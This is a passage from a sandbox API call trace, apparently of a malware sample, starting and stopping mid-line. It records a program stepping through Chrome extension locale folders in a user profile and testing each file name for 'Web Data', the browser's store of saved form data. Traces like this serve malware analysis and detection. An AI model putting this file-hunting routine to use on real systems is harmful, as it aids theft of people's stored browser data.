IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.366] lstrlenA (lpString="en_US") returned 5 [0054.366] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x74d010 [0054.366] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.366] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0054.366] LocalFree (hMem=0x74cf00) returned 0x0 [0054.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 134 [0054.366] lstrlenA (lpString="\\*.*") returned 4 [0054.366] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x75e920 [0054.366] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0054.366] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*" [0054.366] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.367] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.367] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.367] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.367] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.367] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.367] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.367] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.367] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.367] LocalFree (hMem=0x75e920) returned 0x0 [0054.367] LocalFree (hMem=0x74d010) returned 0x0 [0054.367] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.367] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0054.367] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0054.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.367] lstrlenA (lpString="\\") returned 1 [0054.367] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.367] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.367] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.367] lstrlenA (lpString="es") returned 2 [0054.367] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.367] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.367] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0054.367] LocalFree (hMem=0x74cf00) returned 0x0 [0054.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 131 [0054.367] lstrlenA (lpString="\\*.*") returned 4 [0054.367] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.367] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0054.367] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*" [0054.367] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.368] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.368] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.368] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.368] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.368] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.368] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.368] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.368] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.368] LocalFree (hMem=0x74cf00) returned 0x0 [0054.368] LocalFree (hMem=0x74d010) returned 0x0 [0054.368] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.368] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0054.368] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0054.368] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.368] lstrlenA (lpString="\\") returned 1 [0054.368] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.368] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.368] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.368] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.368] lstrlenA (lpString="es_419") returned 6 [0054.368] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74d010 [0054.368] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.368] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0054.368] LocalFree (hMem=0x74cf00) returned 0x0 [0054.368] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 135 [0054.368] lstrlenA (lpString="\\*.*") returned 4 [0054.368] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x75e920 [0054.368] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0054.368] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*" [0054.368] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.368] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.368] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.369] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.369] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.369] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.369] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.369] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.369] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.369] LocalFree (hMem=0x75e920) returned 0x0 [0054.369] LocalFree (hMem=0x74d010) returned 0x0 [0054.369] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.369] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0054.369] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0054.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.369] lstrlenA (lpString="\\") returned 1 [0054.369] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.369] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.369] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.369] lstrlenA (lpString="et") returned 2 [0054.369] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.369] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.369] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0054.369] LocalFree (hMem=0x74cf00) returned 0x0 [0054.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 131 [0054.369] lstrlenA (lpString="\\*.*") returned 4 [0054.369] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.369] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0054.369] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*" [0054.369] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.370] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.370] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.370] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.370] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.370] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.370] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.370] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.370] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.370] LocalFree (hMem=0x74cf00) returned 0x0 [0054.370] LocalFree (hMem=0x74d010) returned 0x0 [0054.370] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.370] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0054.370] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0054.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.370] lstrlenA (lpString="\\") returned 1 [0054.370] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.370] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.370] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.370] lstrlenA (lpString="fi") returned 2 [0054.370] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.370] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.370] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0054.370] LocalFree (hMem=0x74cf00) returned 0x0 [0054.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 131 [0054.370] lstrlenA (lpString="\\*.*") returned 4 [0054.370] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.370] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0054.370] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK 